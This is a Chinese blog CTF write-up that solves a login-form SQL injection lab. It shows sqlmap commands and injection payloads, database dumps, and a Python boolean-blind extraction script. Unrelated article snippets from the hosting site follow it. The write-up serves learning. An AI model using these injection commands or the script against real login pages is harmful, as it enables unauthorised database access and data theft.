CTF 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程

news/2024/11/25 21:15:43/

大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
未经允许,禁止转载 ,违者必究!!!!
本实验仅适用于学习和测试 ,严禁违法操作 ! ! !
今天更新的是:

  • 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程
  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)
  • 微信公众号回复:【CTF】,即可获取本文全部涉及到的工具。

在这里插入图片描述


创建时间:2021年5月30日
软件: MindMaster Pro、kali


这里写目录标题

  • CTF中的SQL注入
    • 第四题 SQL - 2
      • 第一种解法:利用SQLmap工具
      • 第二种解法:利用Python脚本跑

CTF中的SQL注入

第四题 SQL - 2

  • 一开始我以为这题环境进不去,后来才发现应该进的是login.php。
  • 习惯性的查看源代码:发现: 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
  • 在这里插入图片描述
  • 我直接认输,掏出我的BP 来测试一波

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

  • 鼠标右键,复制保存文件,名称自定义,将文件格式改成.txt方便我们后面利用
  • 我将文件命名成3333.txt下面将利用到。

在这里插入图片描述

第一种解法:利用SQLmap工具

  • 根据题目环境,我们采用POST - 登录框注入方法。
  • 为什么采用POST - 登录框注入方法呢? 相信很多小伙伴一定会有疑问了。

像这种是登录窗口的,URL中不是以id=xxxx结尾的就可以采用这种方法进行尝试
http:// www.xxx.com /Login.asp
http://eci-2zeaeeh8hdp3xetqte3p.cloudeci1.ichunqiu.com/login.php

  • 将保存的3333.txt,剪切到kali里面,在终端中打开。(这属于基操,就不演示了)
  • 让我们来尝试破解吧。
  • 尝试找到注入点,指令: sqlmap -r 文件名.txt
 sqlmap -r 3333.txt    
  • 爆破的得到的信息:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: name=admin' AND 3237=3237 AND 'pPVI'='pPVI&pass=123456Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=admin' AND (SELECT 8314 FROM (SELECT(SLEEP(5)))Ffoa) AND 'eRQd'='eRQd&pass=123456
---

在这里插入图片描述

  • sqlmap爆当前数据库信息

  • 尝试获取数据库信息,指令:sqlmap -r 文件名.txt --current-db

sqlmap -r 3333.txt --current-db 
  • 爆破的得到的信息:
current database: 'note'
  • 用sqlmap爆出库名:note

在这里插入图片描述

  • sqlmap.列出指定数据库所有的表名
  • 尝试获取列出指定数据库所有的表名,指令: sqlmap -r 文件名.txt -D note(指定数据库名) --tables
sqlmap -r 3333.txt -D note --tables
  • 爆破的得到的信息:
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+
  • 用sqlmap爆出表名:fl4g,users

在这里插入图片描述

  • sqlmap 列出指定表名的所有列名
  • 尝试获取列出指定表名的所有列名,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) --columns(全部表)
 sqlmap -r 3333.txt -D note -T fl4g --columns  
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+
  • 用sqlmap爆出列名:flag

在这里插入图片描述

  • sqlmap 打印输出表名指定列名字段的值数据
  • 尝试打印输出表名指定列名字段的值数据,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) -C flag(指定字段名) --dump (将结果导出)
sqlmap -r 3333.txt -D note -T fl4g  -C flag --dump
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

在这里插入图片描述

  • 终于拿到 flag:n1book{login_sqli_is_nice}大功告成。

在这里插入图片描述

第二种解法:利用Python脚本跑

  • 利用脚本进行布尔型注入
  • 脚本内涉及的信息根据自己用bp截取的数据进行修改。
import requestsdef Get(url):result = ''for i in range(1, 100):left = 32right = 128mid = (left + right) // 2while left < right:# 查询表名# name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \#        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)# 查询列名# name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \#        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)# 根据表名和列名查询字段值name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)data = {"name": name, "pass": "1223234"}res = requests.post(url, data)# 这里输入你的正确回显参数 :{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():left = mid + 1else:right = midmid = (left + right) // 2# 查询结果结束if mid == 32:breakresult += chr(mid)print(result)print(result)# 这里你的输入URL:
Get('http://eci-2ze95405pp0e0j1nojmj.cloudeci1.ichunqiu.com/login.php')
  • 得到 flag:n1book{login_sqli_is_nice}大功告成。

在这里插入图片描述___

  • SQLmap 工具注入参考资料:
  • SQLmap 注入教程
  • SQL map 注入教程

各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
在这里插入图片描述

博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!



http://www.ppmy.cn/news/427407.html

相关文章

Android退出应用程序

前言 在某些极端情况下&#xff0c;例如&#xff0c;用户拒绝授予某项核心权限&#xff0c;此时应用需要暂停服务&#xff0c;这是就要考虑用户退出。 Android程序有很多Activity&#xff0c;比如说主窗口A&#xff0c;调用了子窗口B&#xff0c;如果在B中直接finish(), 接下…

vivoiqooz1鸿蒙系统,OPPOreno5与iQOOz1哪个好?哪个更值得入手?

OPPOreno5这款手机以超炫酷的外观设计俘获了女性玩家们的喜爱。而iQOOz1却是以超强的性价比和性能赢得了大众们的一致好评&#xff0c;那么OPPOreno5与iQOOz1哪款手机更好呢? 1、手机基本参数对比 2、屏幕方面 OPPOreno5&#xff1a;6.43英寸OLED屏幕&#xff0c;为用户带来超…

PPP和PPPOE详解

二层广域网技术 广域网技术广域网接口PPP封装技术PPP协议的基本概念LCP协议PAP认证协议CHAP认证协议NCP协议MP二层PPP链路聚合技术PPP配置MP配置 IP-Trunk技术PPPOE技术 以太网技术 广域网技术 广域网接口 1、路由器广域网接口的演变 2、以太网接口 以太网接口由Xerox公司…

javap指令集

栈和局部变量操作 将常量压入栈的指令 aconst_null 将null对象引用压入栈 iconst_m1 将int类型常量-1压入栈 iconst_0 将int类型常量0压入栈 iconst_1 将int类型常量1压入栈 iconst_2 将int类型常量2压入栈 iconst_3 将int类型常量3压入栈 iconst_4 将int类型常量4压入栈 icons…

详解PPP和PPPoE的工作原理

转载前言 ---------------------------- 广工目前的校园网认证方式是基于PPPoE的(没错, 客户端Dr.COM 5.2.1(p)中的p就是指的这个), PPPoE和PPP关系紧密, 但又不是简单的包含与被包含的关系, 故而转载一篇好文分享给同学们。(注意这里的PPP和PPTP(Point to Point Tunneling Pr…

PPPoE和PPP

PPP帧格式&#xff1a; flag 1B address 1B control 1B protocol type 2B payload crc 2B flag 1B 0x7E0xFF0x03 0xc021:LCP 0xc023:PAP 0xc223:CHAP 0x0021:IP 最大15000x7E 其中&#xff1a; flag为帧起始和结束符&#xff0c;用于帧定界用的 address字段、control字段…

Linux查ip出来的pp0,linux下使用shell查看apache IP访问量

1.查看TCP连接状态 netstat -nat |awk {print $6}|sort|uniq -c|sort -rn netstat -n | awk /^tcp/ {S[$NF]};END {for(a in S) print a, S[a]} netstat -n | awk /^tcp/ {state[$NF]}; END {for(key in state) print key,"t",state[key]} netstat -n | awk /^tcp/ {…

笔记本加装内存条步骤

1.查看同系列笔记本有没有配置混合硬盘的。有的话这个系列的本本就会自带固态硬盘接口和位置。到还系列吧里聊天问一下原配固态硬盘的规格&#xff0c;照此规格买固态硬盘装上即可。 2.此系列本本没有混合硬盘配置的机型&#xff0c;一般没有固态硬盘接口和位置&#xff0c;要是…